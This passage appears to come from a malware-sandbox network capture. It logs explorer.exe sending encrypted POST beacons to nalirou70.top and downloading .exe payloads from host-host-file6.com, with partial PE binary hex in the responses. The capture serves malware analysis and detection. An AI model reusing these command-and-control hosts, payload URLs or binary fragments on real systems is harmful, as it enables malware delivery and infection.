Nov 9, 2021 22:21:11.271507978 CET	2360	IN	Data Raw: f3 bb e7 b0 fb d1 c1 91 bd 55 d6 e9 0b 44 46 50 1b 0a b4 05 05 d6 8d 9e eb 7b 56 82 36 50 57 5c f7 49 7f 90 0b b0 06 3e 28 4c 6e 5e 9e 1b 89 db fb 19 2e b8 08 1b b6 ff 55 3d 6a 37 57 ef f8 64 0e 22 36 ce ed 17 81 0c 11 d2 80 d5 8e 94 2f 1b c4 c3 Data Ascii: UDFP{V6PW\I>(Ln^.U=j7Wd"6/Jbe\Q!G^D%cP#N,stR<6XvDrI\|n>m%@ZZqj>8Fnq_;[H2(rY\Jgs0TNKIP!.esz`;
Nov 9, 2021 22:21:11.571628094 CET	2393	IN	Data Raw: 7a 67 50 73 4b 99 72 2b 60 7f cb 1c 4a 4c 55 f3 07 27 a9 79 ef 21 65 e4 91 11 66 d1 0e 66 73 f0 a6 7f bb 98 7f 9c 5b bf 9c 36 4f d8 23 f7 5b 04 32 24 03 46 06 e2 cb ef fe 91 83 38 0d e4 c7 79 c0 92 5b ac 40 4b e9 ba 29 1e 68 df 9e 58 3c 47 ca 59 Data Ascii: zgPsKr+`JLU'y!effs[6O#[2$F8y[@K)hX<GYV:GRRpCFJX\|XW@cX1ydq?FRZo@1$x}:-*lZ<gO@XsyZY\|Xk}}zoWnzI6f"V2Wvx\_@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49832	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:21.411899090 CET	7752	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ssyqxqlwo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 218 Host: nalirou70.top
Nov 9, 2021 22:21:21.412429094 CET	7752	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 9b 66 5d 02 c9 a1 c1 64 1d bc a8 11 Data Ascii: `K2wF0Gj[lwmwu$f]d8a85vQ":W6Ypr6Mun)reMxXcW\|$Rj8]Ql:%iJ);p,#d]MgSI,K5!?lo[`
Nov 9, 2021 22:21:22.409507036 CET	7753	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49833	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:22.799314022 CET	7754	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ksjdtko.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 210 Host: nalirou70.top
Nov 9, 2021 22:21:22.799336910 CET	7754	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 98 66 5d 02 c8 a1 c1 64 2e a9 9f 34 Data Ascii: `K2wF0Gj[lwmwu$f]d.4Ur$t'Z\0MKcT`p>C@,J#"Pgm[~\|M:I4'TF&bPKH]>@G}^b6V?
Nov 9, 2021 22:21:23.785218000 CET	7754	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49834	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:24.113164902 CET	7755	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rjave.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 145 Host: nalirou70.top
Nov 9, 2021 22:21:24.113190889 CET	7755	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 99 66 5d 02 c8 a1 c1 64 05 a6 ce 1c Data Ascii: `K2wF0Gj[lwmwu$f]d?lblXc6 -%>Qej#1Mu/Iy5]7x
Nov 9, 2021 22:21:25.089201927 CET	7756	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 00 48 ec a9 e3 1e bb 52 df 41 df fb 2f 8c 20 80 ab 93 51 2e f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eHRA/ Q.~0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49835	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:25.749810934 CET	7756	OUT	GET /files/5600_1636395892_7115.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-host-file6.com
Nov 9, 2021 22:21:26.603705883 CET	7758	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:21:26 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Mon, 08 Nov 2021 18:24:52 GMT ETag: "48000-5d04b1be8e47b" Accept-Ranges: bytes Content-Length: 294912 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d2 78 89 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 e2 00 00 00 9a 03 00 00 00 00 00 0a c0 04 00 00 c0 03 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 cc 03 00 53 00 00 00 00 a0 04 00 f6 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 08 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 48 00 00 00 00 00 00 00 00 00 00 00 29 45 57 68 67 1f 4e 46 20 8d 03 00 00 20 00 00 00 8e 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 34 de 00 00 00 c0 03 00 00 e0 00 00 00 92 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f6 09 00 00 00 a0 04 00 00 0a 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 c0 04 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 04 00 00 02 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELxa @ @(SH)EWhgNF @.text4 `.rsrcr@@\| `.reloc~@B
Nov 9, 2021 22:21:26.603733063 CET	7759	IN	Data Raw: cc 7d 32 f8 a6 6b 76 d5 b3 7d ee 1d 0b ae 66 af 44 84 cd 36 51 18 72 52 20 08 2e 45 11 22 a8 a7 ea 26 52 d0 f7 dc 78 86 65 77 21 2f d8 80 75 b2 36 14 54 a9 b7 4d 0e e6 86 ad f6 7d fa 12 fc ab b8 cd 19 3c 91 80 2f 3a 49 0d 48 94 75 e5 06 88 9c 4b Data Ascii: }2kv}fD6QrR .E"&Rxew!/u6TM}</:IHuK)NcR^bd}c{8ph7Msf)H-(FB0Scy28L-yJT9ql`=?p]hUwmhLY!6G5:Wf&6bP
Nov 9, 2021 22:21:26.603759050 CET	7761	IN	Data Raw: e0 82 3d d1 7e 2e d6 69 68 0d dd 79 62 1a 4c d3 b2 3a 38 71 ee 30 b0 b9 ac c6 85 dd 06 20 92 c3 b2 13 a2 29 4b 67 9a 5e 01 c5 fb 0e af 8f 10 ba b3 80 ee b5 d0 aa 1e 3b c8 c6 66 9f b8 ae ea 3e c2 98 68 80 10 3c 2b 49 44 b2 f1 3e cf 45 e4 c6 be c2 Data Ascii: =~.ihybL:8q0 )Kg^;f>h<+ID>E7quZM'zD2DwuZvYGdV}1Tww7E\IN;(~=gx$?6Isd?PgA(L!\9{YC7V\dDV~S
Nov 9, 2021 22:21:26.603784084 CET	7762	IN	Data Raw: 0a 88 56 b8 e3 78 74 b0 83 f1 d2 0d e0 26 91 b3 9a db b4 63 bc a6 b7 ee 28 3c 10 d7 4a 09 26 43 49 e0 a2 7d 9e bd 72 30 27 40 ac 79 b1 12 32 36 00 a1 ad 74 a6 cf bf 62 f4 4d 09 17 9f b7 46 e0 22 f1 b0 8d eb 39 40 1e 22 21 03 b8 20 c7 10 ff 20 95 Data Ascii: Vxt&c(<J&CI}r0'@y26tbMF"9@"! 3&@\A"^N(w%ZB#u rkR'^%\|4.@#/w]:IBq\|n9]doVAI?urzJ(V>_sg4Ex(F&k2[v3
Nov 9, 2021 22:21:26.603806973 CET	7763	IN	Data Raw: c3 a2 c4 29 f8 97 eb 71 b6 43 f7 fb c4 c5 63 a9 76 41 92 ae 31 66 ca 2d 1e f4 da c2 a0 53 b6 a2 8a 82 5f b9 da 28 68 07 83 30 d3 a5 07 e7 f2 c3 7e 1f e0 e6 53 c6 29 f6 aa ec 12 e9 b1 25 1d 21 b2 05 b3 76 33 33 0c f0 63 f4 60 de b9 05 1a 54 05 a7 Data Ascii: )qCcvA1f-S_(h0~S)%!v33c`TwH`c v%)k]f+SJt/[c?ZCTpjdDts7q5X5)Oz%.Gt%/L&_pZ+<3F
Nov 9, 2021 22:21:26.603828907 CET	7765	IN	Data Raw: 48 c5 1e 96 a6 7b 53 4e 32 e3 84 66 3b ad d1 23 1a 65 49 6d 4d 4a 40 2c cf 92 47 9e 44 22 ae 81 36 05 6b 74 4a 4a 56 d8 72 91 a2 dd d0 56 e4 01 66 ef dd aa 35 9b 85 29 ab 36 6c 41 52 30 f6 6b 39 64 01 37 f9 00 98 cf 98 b8 2c 9f 5d 7c b0 1e 43 ab Data Ascii: H{SN2f;#eImMJ@,GD"6ktJJVrVf5)6lAR0k9d7,]\|C`6M9/[/ZepS('';w\,&S>f$W=uOl6yR*~jn:Ibm0I2Hy4^(a+RnvQa,KhM
Nov 9, 2021 22:21:26.603851080 CET	7766	IN	Data Raw: 93 31 b2 c1 b8 7e dc c6 79 c0 e2 57 f0 82 0f f1 c3 ca 81 d5 d0 29 a0 73 5e fd a6 39 68 6e d9 ab 98 f9 4e 68 df 29 d7 f4 90 04 72 96 cd c8 b6 76 b6 f0 a1 6c b8 64 0e 79 a5 04 b5 30 33 31 81 95 da fe fd 81 e1 a0 88 c2 1d 4a c0 36 ae f5 12 68 64 b3 Data Ascii: 1~yW)s^9hnNh)rvldy031J6hd~z8o!gb96ez,O*1Jw)wo#d9L4O/a+76/)naR6+ &G?9H$lNIV<i
Nov 9, 2021 22:21:26.603873014 CET	7767	IN	Data Raw: 73 96 94 3c 58 52 39 33 96 9d da 78 f0 79 63 8b df 57 08 b8 16 6f c3 22 86 90 4f 0b a3 16 e4 09 32 f9 6d 6b dd 73 6a a8 5d 8d e7 33 2b 33 2f 6f db 40 ed 01 7e 26 f9 e8 d3 78 96 cf c6 5a 12 15 0e a3 cf c0 cc 05 98 77 22 75 68 96 36 c9 61 ec bd 62 Data Ascii: s<XR93xycWo"O2mksj]3+3/o@~&xZw"uh6abA8dStfo:.#`Ri]5)+o}p\|\\\|!+tF]UhCTCmxh6rU$V1n:l\-VO;?^JJjzPk8+
Nov 9, 2021 22:21:26.603895903 CET	7769	IN	Data Raw: d7 43 fe b7 8c 3e 85 0a b9 1b 99 d5 b6 8d ef 6c e0 f3 e9 b3 36 be 9f e7 a2 9b b8 8f c3 2f f3 c5 9c 5f 22 66 25 0c f5 d9 c7 56 42 26 cd 58 e8 81 f0 6b c5 1d 4a 0f 58 ff fc 0b bf 35 96 92 6d 25 68 6d b5 fc 05 4a 7a 47 e4 3d 30 b9 fd 01 06 03 1f dc Data Ascii: C>l6/_"f%VB&XkJX5m%hmJzG=0Nt1%c_?+?3sFx x?ZO;$ A2 ;$NkwzU4ks:"NeP}%U6<_TVuezZ =Prze;5bO;Zr@wM
Nov 9, 2021 22:21:26.603918076 CET	7770	IN	Data Raw: 9e 57 23 32 08 b4 66 3d 52 36 d8 f3 26 1e bf 5e 1f 97 87 f1 5c a9 f2 75 1f 23 21 ae 18 0c 95 e6 ff c8 2f 64 01 2a e1 c3 ea 24 ff 06 77 64 f3 68 02 5c 00 26 5c 27 b4 7d d6 aa 55 f3 20 1a bf dc 36 18 ba cb ae d3 00 bd ea 39 f7 95 b0 49 5b 5a b9 d8 Data Ascii: W#2f=R6&^\u#!/d$wdh\&\'}U 69I[Z&u,O;q]`@N}ntM['H<wF~7^SgliuS3)Xl3-!Y5kX8d#6D2+cqK%:?u<f5:\_P*E
Nov 9, 2021 22:21:26.904417038 CET	7772	IN	Data Raw: 10 cd c2 36 af 1c b9 43 60 74 6d 69 28 df de d1 22 fa d5 90 d8 91 58 0d c1 1b e1 d0 d4 ed 34 d2 0f 2c 01 54 cb 34 bc 78 4c 7e 34 61 b3 dc 6f cb f6 0a d9 d4 b9 31 e8 12 19 c6 1c 74 17 9a d2 c4 7b d3 ff 40 37 f6 33 3a 44 a2 11 58 b9 e0 18 f3 90 db Data Ascii: 6C`tmi("X4,T4xL~4ao1t{@73:DX6U.`XtLZ5Y<ROrLuY$;)0v9%g" +Z21~PI=+7tV/axAFbzx'5+5nWvN?o

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49837	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:30.487577915 CET	8632	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fkqdw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 296 Host: nalirou70.top
Nov 9, 2021 22:21:30.487618923 CET	8633	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 99 66 5d 02 c9 a1 c1 64 33 b4 c1 28 Data Ascii: `K2wF0Gj[lwmwu$f]d3((\MLSK:7^:@/%LKB8\Xy~.LtTVz$56rJw*LCrcZolS )[zwDmBFH@yk^sYiui/I
Nov 9, 2021 22:21:31.471678972 CET	8634	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49838	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:31.801101923 CET	8634	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vhlqong.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 357 Host: nalirou70.top
Nov 9, 2021 22:21:31.801189899 CET	8635	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 96 66 5d 02 c8 a1 c1 64 17 b5 b8 77 Data Ascii: `K2wF0Gj[lwmwu$f]dw<_u8W{Af#h\|e%[p*RNY%A#5lnV?GaZ'@\|o!Zg.n/+1$e;vwyR"$uHKo8!mJWyR4
Nov 9, 2021 22:21:32.782610893 CET	8635	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 04 4b ed af e3 1e bb 52 df 41 de fe 2e 8d 2a 80 aa 96 50 2b f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eKRA.*P+~0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49839	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:33.137553930 CET	8636	OUT	GET /files/1516_1636380988_6400.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-host-file6.com
Nov 9, 2021 22:21:33.998820066 CET	8645	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:21:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Mon, 08 Nov 2021 14:16:28 GMT ETag: "39000-5d047a389ed49" Accept-Ranges: bytes Content-Length: 233472 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 a4 78 4c 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 3a 01 00 00 dc 02 00 00 00 00 00 cc 1e 00 00 00 10 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 04 00 00 04 00 00 ec b5 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 82 01 00 3c 00 00 00 00 20 02 00 d0 fc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 51 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 6e 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 01 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 39 01 00 00 10 00 00 00 3a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 3a 00 00 00 50 01 00 00 3c 00 00 00 3e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 8e 00 00 00 90 01 00 00 18 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 fc 01 00 00 20 02 00 00 fe 01 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 